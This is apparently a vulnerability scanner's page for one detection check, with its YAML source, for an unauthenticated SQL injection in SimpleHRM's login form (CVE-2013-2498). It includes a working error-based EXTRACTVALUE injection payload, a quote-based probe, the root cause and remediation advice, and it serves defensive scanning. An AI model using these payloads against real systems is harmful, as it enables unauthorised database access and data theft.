SimpleHRM — 1 vulnerability check
noctis ships 1 vulnerability check for SimpleHRM, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SimpleHRM index.php/user/setLogin username parameter SQL injection
| CVE | CVE-2013-2498 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/simplehrm/CVE-2013-2498.yaml |
SimpleHRM 2.2, 2.3 and later releases (up to at least 2.5) build the login lookup query from the posted user name: the escaped quote is turned back into a bare quote by the stored procedure call that runs the query, so an unauthenticated visitor can inject SQL into the login form.
For each candidate base path (/, /simplehrm, /hrm) the check loads index.php and continues only when the page is a SimpleHRM page. It then posts a login to index.php/user/setLogin whose user name is an error-based EXTRACTVALUE expression asking the database to add two random numbers; the finding is confirmed when the "XPATH syntax error" printed by SimpleHRM carries the computed sum. When that function is not available, it falls back to response analysis: a user name made of a quote and a random marker must produce a MySQL "You have an error in your SQL syntax" message quoting the marker, while the same marker without the quote produces no SQL error. The payloads only evaluate constant expressions in a SELECT and read or change no data; no session is opened.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.php/user/setLoginwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
xv.bodyforXPATH syntax error: (?:'|�?39;|'|')?~[0-9]{7}→ finding QoD 97: POST …/index.php/user/setLogin with username=' or extractvalue(1,concat(0x7e,(select …+…))) or ' made MySQL return the computed sum: XPATH … - HTTP(S) request
POST {{dir}}/index.php/user/setLoginwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.php/user/setLoginwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
probe.bodyforYou have an error in your SQL syntax→ finding QoD 75: POST …/index.php/user/setLogin with username='… returned a MySQL syntax error quoting the injected marker, while the same login without the…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-2498
- https://www.exploit-db.com/exploits/24954
- http://www.openwall.com/lists/oss-security/2013/04/17/1
Feed source — tests/vulnerabilities/simplehrm/CVE-2013-2498.yaml
# SimpleHRM <= 2.5 — index.php/user/setLogin `username` SQL injection (CVE-2013-2498)
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_simplehrm_username_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804531, GPL-2.0-only). The NASL tries /, /simplehrm and
# /hrm, requires "SimpleHRM<" on index.php, POSTs
# username=%27SQL-Injection-Test&password=abcdef
# to index.php/user/setLogin and reports when the reply carries
# "Execute Error: You have an error in your SQL syntax ... SQL-Injection-Test"
# and ">SimpleHRM".
#
# Root cause (SimpleHRM 2.5 source, flexycms/modules/user/user_manager.php, unfixed
# upstream): getUserDetail() runs
# CALL get_search_sql("hrm__company","email_id = '<name>' AND isactive = 1 LIMIT 1")
# The request input is escaped (\'), but the double-quoted CALL argument turns \' back
# into a bare quote, and the stored procedure PREPAREs the condition as dynamic SQL.
#
# Deviations (stronger than the NASL):
# - QoD 97: an error-based EXTRACTVALUE payload (' or extractvalue(1,concat(0x7e,
# (select a+b))) or ') makes MySQL compute the sum of two random operands and quote
# it in its "XPATH syntax error" — proof that injected SQL ran. Read-only constant
# expression inside a SELECT.
# - QoD 75 fallback (MySQL 5.0, no EXTRACTVALUE): random marker instead of the fixed
# string, plus a control login (same marker, no quote) that must NOT produce a SQL
# error, so a page that prints SQL errors for any input is not reported.
# - the ">SimpleHRM" requirement on the error reply is dropped: getsingleindexrow()
# prints the error and exit()s before any template is rendered, so a real error reply
# holds only the error lines (the product gate is the index.php check instead).
uid: aa5e5aa6-6120-446f-aeb7-d14a26eafb37
name: "SimpleHRM index.php/user/setLogin username parameter SQL injection (CVE-2013-2498)"
description: |
SimpleHRM 2.2, 2.3 and later releases (up to at least 2.5) build the login lookup query from the posted
user name: the escaped quote is turned back into a bare quote by the stored
procedure call that runs the query, so an unauthenticated visitor can inject SQL
into the login form.
For each candidate base path (/, /simplehrm, /hrm) the check loads index.php and
continues only when the page is a SimpleHRM page. It then posts a login to
index.php/user/setLogin whose user name is an error-based EXTRACTVALUE expression
asking the database to add two random numbers; the finding is confirmed when the
"XPATH syntax error" printed by SimpleHRM carries the computed sum. When that
function is not available, it falls back to response analysis: a user name made
of a quote and a random marker must produce a MySQL "You have an error in your SQL
syntax" message quoting the marker, while the same marker without the quote
produces no SQL error. The payloads only evaluate constant expressions in a
SELECT and read or change no data; no session is opened.
cves: [CVE-2013-2498]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.20
tags: [simplehrm, hrm, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-2498"
- "https://www.exploit-db.com/exploits/24954"
- "http://www.openwall.com/lists/oss-security/2013/04/17/1"
steps:
# Random operands, marker and password; the sum is never sent.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, sum: "~" + (a + b), marker: "NOCTIS" + rand_str(10), pw: rand_str(12) }
# ── Per candidate base path (loop group) ─────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-land
action: set_var
var_name: land
var_value: {status: 0, body: null}
loop:
over: ["", "/simplehrm", "/hrm"]
var: dir
- id: init-xv
action: set_var
var_name: xv
var_value: {status: 0, body: null}
- id: init-ctl
action: set_var
var_name: ctl
var_value: {status: 0, body: null}
- id: init-probe
action: set_var
var_name: probe
var_value: {status: 0, body: null}
- id: landing
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/index.php"
tls_insecure: true
timeout_secs: 15
store_as: land
- id: gate
action: script
store_as: is_shrm
code: |
land.status == 200 && type_of(land.body) == "string" && land.body.contains("SimpleHRM")
# Stage 1: error-based proof — email_id = '' or extractvalue(1,concat(0x7e,(select a+b))) or ''
- id: xv-probe
action: http_request
method: POST
port: "{{port}}"
path: "{{dir}}/index.php/user/setLogin"
condition: "is_shrm == true"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "username=%27%20or%20extractvalue(1%2Cconcat(0x7e%2C(select%20{{p.a}}%2B{{p.b}})))%20or%20%27&password={{p.pw}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: xv
- id: xv-check
action: script
store_as: xv_hit
code: |
is_shrm == true && type_of(xv.body) == "string"
&& xv.body.contains("XPATH syntax error") && xv.body.contains(p.sum)
- id: confirm-xpath
action: match
source: xv.body
# The script already checked the exact sum; quotes may be HTML-escaped.
pattern: "XPATH syntax error: (?:'|�?39;|'|')?~[0-9]{7}"
condition: "xv_hit == true"
on_match:
finding:
confidence_delta: 0.77
qod: 97
evidence: "POST {{dir}}/index.php/user/setLogin with username=' or extractvalue(1,concat(0x7e,(select {{p.a}}+{{p.b}}))) or ' made MySQL return the computed sum: XPATH syntax error: '{{p.sum}}' (unauthenticated SQL injection, {{target_host}}:{{port}})"
remediation: "No fixed SimpleHRM release is known. Remove SimpleHRM from network reach, or change getUserDetail() in flexycms/modules/user/user_manager.php to look the user name up with a prepared statement instead of the get_search_sql() dynamic query."
stop: true
# Stage 2 (no EXTRACTVALUE): control without a quote must run cleanly...
- id: control
action: http_request
method: POST
port: "{{port}}"
path: "{{dir}}/index.php/user/setLogin"
condition: "is_shrm == true && xv_hit == false"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "username={{p.marker}}&password={{p.pw}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl
- id: control-clean
action: script
store_as: ctl_ok
code: |
is_shrm == true && xv_hit == false && ctl.status != 0
&& !(type_of(ctl.body) == "string" && ctl.body.contains("You have an error in your SQL syntax"))
# ...while the quoted marker breaks the query.
- id: probe
action: http_request
method: POST
port: "{{port}}"
path: "{{dir}}/index.php/user/setLogin"
condition: "ctl_ok == true"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "username=%27{{p.marker}}&password={{p.pw}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe
- id: probe-check
action: script
store_as: sqlerr
code: |
ctl_ok == true && type_of(probe.body) == "string"
&& probe.body.contains("You have an error in your SQL syntax") && probe.body.contains(p.marker)
- id: syntax-error
action: match
source: probe.body
pattern: "You have an error in your SQL syntax"
condition: "sqlerr == true"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "POST {{dir}}/index.php/user/setLogin with username='{{p.marker}} returned a MySQL syntax error quoting the injected marker, while the same login without the quote returned none (unauthenticated SQL injection, {{target_host}}:{{port}})"
remediation: "No fixed SimpleHRM release is known. Remove SimpleHRM from network reach, or change getUserDetail() in flexycms/modules/user/user_manager.php to look the user name up with a prepared statement instead of the get_search_sql() dynamic query."
stop: true